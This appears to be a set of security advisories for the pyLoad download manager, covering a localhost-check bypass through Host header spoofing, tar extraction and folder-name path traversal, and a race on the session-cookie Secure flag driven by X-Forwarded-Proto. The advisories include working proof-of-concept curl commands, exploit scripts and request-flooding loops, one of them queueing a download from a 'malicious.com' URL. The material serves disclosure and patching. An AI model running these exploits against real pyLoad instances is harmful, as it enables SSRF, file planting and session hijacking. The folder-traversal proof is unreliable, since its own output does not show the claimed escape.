A Host Header Spoofing vulnerability in the @localcheck decorator allows unauthenticated external attackers to bypass local-only restrictions. This grants access to the Click'N'Load API endpoints, enabling attackers to remotely queue arbitrary downloads, leading to Server-Side Request Forgery (SSRF) and Denial of Service (DoS).
Details
The pyload WebUI provides an API for the Click'N'Load plugin, which is intended to be accessed only from the local machine (e.g., via a browser extension sending requests to localhost:9666). To enforce this, the pyload application uses a @localcheck decorator on the relevant routes in src/pyload/webui/app/blueprints/cnlblueprint.py.
However, the @localcheck implementation relies on the user-controlled HTTPHOST (derived from the HTTP Host header) to verify the origin:
python src/pyload/webui/app/blueprints/cnlblueprint.py def localcheck(func): @wraps(func) def wrapper(args, kwargs): remoteaddr = flask.request.environ.get("REMOTEADDR", "0") httphost = flask.request.environ.get("HTTPHOST", "0")
if remoteaddr in ("127.0.0.1", "::ffff:127.0.0.1", "::1", "localhost") or httphost in ( "127.0.0.1:9666", "[::1]:9666", ): return func(args, kwargs) else: return "Forbidden", 403 return wrapper
Because httphost is read directly from the Host header of the HTTP request, an external attacker can easily spoof this header (e.g., Host: 127.0.0.1:9666). When this spoofed header is present, the condition httphost in ("127.0.0.1:9666", ...) evaluates to True, completely bypassing the IP address check (remoteaddr) and granting access to the protected functions.
The affected routes are:
- /flash/ and /flash/<id> - /flash/add - /flash/addcrypted - /flash/addcrypted2 - /flashgot and /flashgotpyload - /flash/checkSupportForUrl
PoC
1. Ensure the PyLoad instance is running and accessible externally. 2. Ensure the ClickNLoad plugin is enabled in the PyLoad settings (it evaluates to disabled by default). 3. Send a POST request to one of the protected endpoints, such as /flash/add, and spoof the Host header to 127.0.0.1:9666.
Example curl command:
bash curl -i -X POST "http://<pyload-external-ip>:<port>/flash/add" \ -H "Host: 127.0.0.1:9666" \ -d "urls=http://malicious.com/payload.bin" \ -d "package=MaliciousPackage"
4. Notice that you receive a success\r\n response instead of a 403 Forbidden. The package and URL will be successfully added to the PyLoad queue.
Impact
This vulnerability allows unauthenticated attackers to interact with the Click'N'Load API. Attackers can arbitrarily add URLs to the download queue, which forces the PyLoad server to make outbound requests to attacker-controlled or internal URLs (SSRF). Attackers can also exhaust the server's storage or bandwidth by queueing massive files (DoS).
Summary
The safeextractall() function in src/pyload/plugins/extractors/UnTar.py uses os.path.commonprefix() for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function os.path.commonpath() was added to the codebase in the GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) but was never applied to safeextractall(), making this an incomplete fix.
Details
The GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) added a correct iswithindirectory() function to src/pyload/core/utils/fs.py:384-391 using os.path.commonpath():
python fs.py:384 — CORRECT implementation def iswithindirectory(basedir, targetdir): realbase = os.path.realpath(basedir) realtarget = os.path.realpath(targetdir) return os.path.commonpath([realbase, realtarget]) == realbase
However, the safeextractall() function in UnTar.py:10-22 was left unchanged with the broken os.path.commonprefix():
python UnTar.py:10-22 — VULNERABLE implementation def safeextractall(tar, path=".", members=None, , numericowner=False): def iswithindirectory(directory, target): absdirectory = os.path.abspath(directory) abstarget = os.path.abspath(target) prefix = os.path.commonprefix([absdirectory, abstarget]) # BUG: line 14 return prefix == absdirectory
for member in tar.getmembers(): memberpath = os.path.join(path, member.name) if not iswithindirectory(path, memberpath): raise ArchiveError("Attempted Path Traversal in Tar File (CVE-2007-4559)")
tar.extractall(path, members, numericowner=numericowner)
os.path.commonprefix() is a string operation, not a path operation. For extraction destination /downloads/pkg and a malicious member ../pkgevil/payload (resolving to /downloads/pkgevil/payload):
- commonprefix(['/downloads/pkg', '/downloads/pkgevil/payload']) → '/downloads/pkg' — equals the directory, check passes - commonpath(['/downloads/pkg', '/downloads/pkgevil/payload']) → '/downloads' — does NOT equal the directory, check correctly fails
The extraction path is reached via: ExtractArchive.packagefinished() (line 182) → extractqueued() → UnTar.extract() (line 76) → safeextractall(t, self.dest) (line 81).
PoC
Self-contained proof of concept demonstrating the bypass:
python import tarfile, io, os, shutil
dest = '/tmp/testextractiondir' shutil.rmtree(dest, ignoreerrors=True) shutil.rmtree('/tmp/testextractiondirpwned', ignoreerrors=True) os.makedirs(dest, existok=True)
Step 1: Create malicious tar with member that escapes via prefix trick with tarfile.open('/tmp/evil.tar.gz', 'w:gz') as tar: info = tarfile.TarInfo(name='../testextractiondirpwned/evil.txt') data = b'escaped the sandbox!' info.size = len(data) tar.addfile(info, io.BytesIO(data))
Step 2: Reproduce the vulnerable check from UnTar.py:11-15 def iswithindirectory(directory, target): absdirectory = os.path.abspath(directory) abstarget = os.path.abspath(target) prefix = os.path.commonprefix([absdirectory, abstarget]) return prefix == absdirectory
Step 3: Verify the check is bypassed with tarfile.open('/tmp/evil.tar.gz') as tar: for member in tar.getmembers(): memberpath = os.path.join(dest, member.name) bypassed = iswithindirectory(dest, memberpath) print(f'Member: {member.name}') print(f'Resolved: {os.path.abspath(memberpath)}') print(f'Check passes (should be False): {bypassed}') tar.extractall(dest)
Step 4: Confirm file was written outside extraction directory escapedfile = '/tmp/testextractiondirpwned/evil.txt' assert os.path.exists(escapedfile), "File did not escape" print(f'File escaped to: {escapedfile}') print(f'Content: {open(escapedfile).read()}')
Output: Member: ../testextractiondirpwned/evil.txt Resolved: /tmp/testextractiondirpwned/evil.txt Check passes (should be False): True File escaped to: /tmp/testextractiondirpwned/evil.txt Content: escaped the sandbox!
Impact
An attacker who hosts a malicious .tar.gz archive on a file hosting service can write files to arbitrary sibling directories of the extraction path when a pyLoad user downloads and extracts the archive. This enables:
- Writing files outside the intended extraction directory into adjacent directories - Overwriting other users' downloads - Planting malicious files in predictable locations on disk - If combined with other primitives (e.g., writing a .bashrc, cron job, or plugin file), this could lead to code execution
The attack requires the victim to download a malicious archive (either manually or via the pyLoad API with ADD permission) and have the ExtractArchive addon enabled.
Recommended Fix
Replace the broken inline iswithindirectory with the correct iswithindirectory from pyload.core.utils.fs:
python import os import sys import tarfile
from pyload.core.utils.fs import iswithindirectory, safejoin from pyload.plugins.base.extractor import ArchiveError, BaseExtractor, CRCError
Fix for tarfile CVE-2007-4559 def safeextractall(tar, path=".", members=None, , numericowner=False): for member in tar.getmembers(): memberpath = os.path.join(path, member.name) if not iswithindirectory(path, memberpath): raise ArchiveError("Attempted Path Traversal in Tar File (CVE-2007-4559)")
tar.extractall(path, members, numericowner=numericowner)
This removes the broken inline function and uses the already-existing correct implementation that was added in the GHSA-7g4m-8hx2-4qh3 fix.
Insufficient sanitization of package folder names allows writing files outside the intended download directory.
Affected Component - src/pyload/core/api/init.py - Function: addpackage()
Description Package folder names are sanitized using insufficient string replacement:
python folder = ( folder.replace("http://", "") .replace("https://", "") .replace("../", "") # Bypassable! .replace("..\\", "") .replace(":", "") .replace("/", "") .replace("\\", "") )
The ../ replacement is bypassable. The pattern ....// becomes .. after replacement (partial removal), leaving .. which can be exploited when the path is later resolved by the OS.
Proof of Concept
Setup bash pip install pyload-ng[all] pyload -d & Default credentials: pyload / pyload
Exploit python #!/usr/bin/env python3 import requests
BASEURL = "http://localhost:8000" USERNAME = "pyload" PASSWORD = "pyload"
session = requests.Session()
Login session.post(f"{BASEURL}/login", data={ "username": USERNAME, "password": PASSWORD })
Create package with malicious folder name The pattern ....// bypasses the ../ replacement After sanitization: .. (still contains ..) folderpayload = "....//....//....//tmp/evil"
resp = session.post(f"{BASEURL}/api/addpackage", json={ "name": "testpackage", "links": ["http://example.com/file.txt"], "dest": 1 # Destination.QUEUE })
packageid = resp.json() print(f"Created package: {packageid}")
Set malicious folder name resp = session.post(f"{BASEURL}/api/setpackagedata", json={ "packageid": packageid, "data": {"folder": folderpayload} })
print(f"Set folder payload: {folderpayload}") print(f"Response: {resp.statuscode}")
When download occurs, files will be written outside download dir print("[+] When a file is downloaded, it will be written to manipulated path") print(" The sanitized folder still contains '..' sequences that OS resolves")
Verification Check where files would be written: python import os
downloaddir = "/home/user/Downloads" folder = "....//....//....//tmp/evil"
Simulate pyLoad's sanitization sanitized = folder.replace("../", "").replace("/", "") print(f"After pyLoad sanitization: {sanitized}") Output: ......tmpevil
When pyLoad does os.path.join and then opens the file: finalpath = os.path.join(downloaddir, sanitized) print(f"Joined path: {finalpath}") Output: /home/user/Downloads/......tmpevil
The .. sequences remain and could be resolved by OS during file operations
Impact Authenticated users with ADD permission can: - Write files outside the download directory - Potentially overwrite system files (depending on permissions) - Clutter system directories with downloaded content
Improper Restriction of Rendered UI Layers or Frames in GitHub repository pyload/pyload prior to 0.5.0b3.dev33.
Summary
The setsessioncookiesecure beforerequest handler in src/pyload/webui/app/init.py reads the X-Forwarded-Proto header from any HTTP request without validating that the request originates from a trusted proxy, then mutates the global Flask configuration SESSIONCOOKIESECURE on every request. Because pyLoad uses the multi-threaded Cheroot WSGI server (requestqueuesize=512), this creates a race condition where an attacker's request can influence the Secure flag on other users' session cookies — either downgrading cookie security behind a TLS proxy or causing a session denial-of-service on plain HTTP deployments.
Details
The vulnerable code is in src/pyload/webui/app/init.py:75-84:
python Dynamically set SESSIONCOOKIESECURE according to the value of X-Forwarded-Proto TODO: Add trusted proxy check @app.beforerequest def setsessioncookiesecure(): xforwardedproto = flask.request.headers.get("X-Forwarded-Proto", "") issecure = ( xforwardedproto.split(',')[0].strip() == "https" or app.config["PYLOADAPI"].getconfigvalue("webui", "usessl") ) flask.currentapp.config['SESSIONCOOKIESECURE'] = issecure
The root cause has two components:
1. No origin validation (CWE-346): The X-Forwarded-Proto header is read from any client request. This header is only trustworthy when set by a known reverse proxy. Without ProxyFix middleware or a trusted proxy allowlist, any client can spoof it. The code itself acknowledges this with the TODO on line 76.
2. Global state mutation in a multi-threaded server: flask.currentapp.config['SESSIONCOOKIESECURE'] is application-wide shared state. When Thread A (attacker) writes False to this config, Thread B (victim) may read False when Flask's savesession() runs in the afterrequest phase, producing a Set-Cookie response without the Secure flag.
The Cheroot WSGI server is configured with requestqueuesize=512 in src/pyload/webui/webserverthread.py:46, confirming concurrent multi-threaded request processing.
No ProxyFix or equivalent middleware is configured anywhere in the codebase (confirmed via codebase-wide search).
PoC
Attack Path 1 — Cookie Security Downgrade (behind TLS-terminating proxy, usessl=False):
An attacker with direct access to the backend (e.g., in a containerized/Kubernetes deployment) sends concurrent requests to keep SESSIONCOOKIESECURE set to False:
bash Attacker floods backend directly, bypassing TLS proxy for i in $(seq 1 200); do curl -s -H 'X-Forwarded-Proto: http' http://pyload-backend:8000/ & done
Meanwhile, a legitimate user behind the TLS proxy receives a session cookie During the race window, their Set-Cookie header lacks the Secure flag The cookie is then vulnerable to interception over plain HTTP
Attack Path 2 — Session Denial of Service (default plain HTTP deployment):
bash Attacker causes SESSIONCOOKIESECURE=True on a plain HTTP server for i in $(seq 1 200); do curl -s -H 'X-Forwarded-Proto: https' http://localhost:8000/ & done
Concurrent legitimate users receive Set-Cookie with Secure flag Browser refuses to send Secure cookies over HTTP Users' sessions silently break — they appear logged out
The second attack path works against the default configuration (usessl=False) and requires no special network position.
Impact
- Session cookie exposure (Attack Path 1): When deployed behind a TLS-terminating proxy, an attacker can cause session cookies to be issued without the Secure flag. If the victim's browser subsequently makes an HTTP request (e.g., via a mixed-content link or downgrade attack), the session cookie is transmitted in cleartext, enabling session hijacking.
- Session denial of service (Attack Path 2): On default plain HTTP deployments, an attacker can continuously set SESSIONCOOKIESECURE=True, causing browsers to refuse sending session cookies back to the server. This silently breaks all concurrent users' sessions with no user-visible error message, only a redirect to login.
- No authentication required: Both attack paths are fully unauthenticated — the beforerequest handler fires before any auth checks.
Recommended Fix
Replace the global config mutation with per-response cookie handling, and add proxy validation:
python Option A: Set Secure flag per-response instead of mutating global config @app.afterrequest def setsessioncookiesecure(response): # Only trust X-Forwarded-Proto if ProxyFix is configured issecure = app.config["PYLOADAPI"].getconfigvalue("webui", "usessl") if 'Set-Cookie' in response.headers: # Modify cookie flags per-response, not global config cookies = response.headers.getlist('Set-Cookie') response.headers.remove('Set-Cookie') for cookie in cookies: if issecure and 'Secure' not in cookie: cookie += '; Secure' response.headers.add('Set-Cookie', cookie) return response
Option B (preferred): Use Werkzeug's ProxyFix with explicit trust from werkzeug.middleware.proxyfix import ProxyFix
In App.new, before returning: if trustedproxycount: # from config app.wsgiapp = ProxyFix(app.wsgiapp, xproto=trustedproxycount) Then set SESSIONCOOKIESECURE once at startup based on usessl config, and let ProxyFix handle X-Forwarded-Proto transparently
At minimum, remove the beforerequest handler entirely and set SESSIONCOOKIESECURE once at startup (line 130 already does this in configuresession). The dynamic per-request adjustment is the root cause of both the spoofing and the race condition.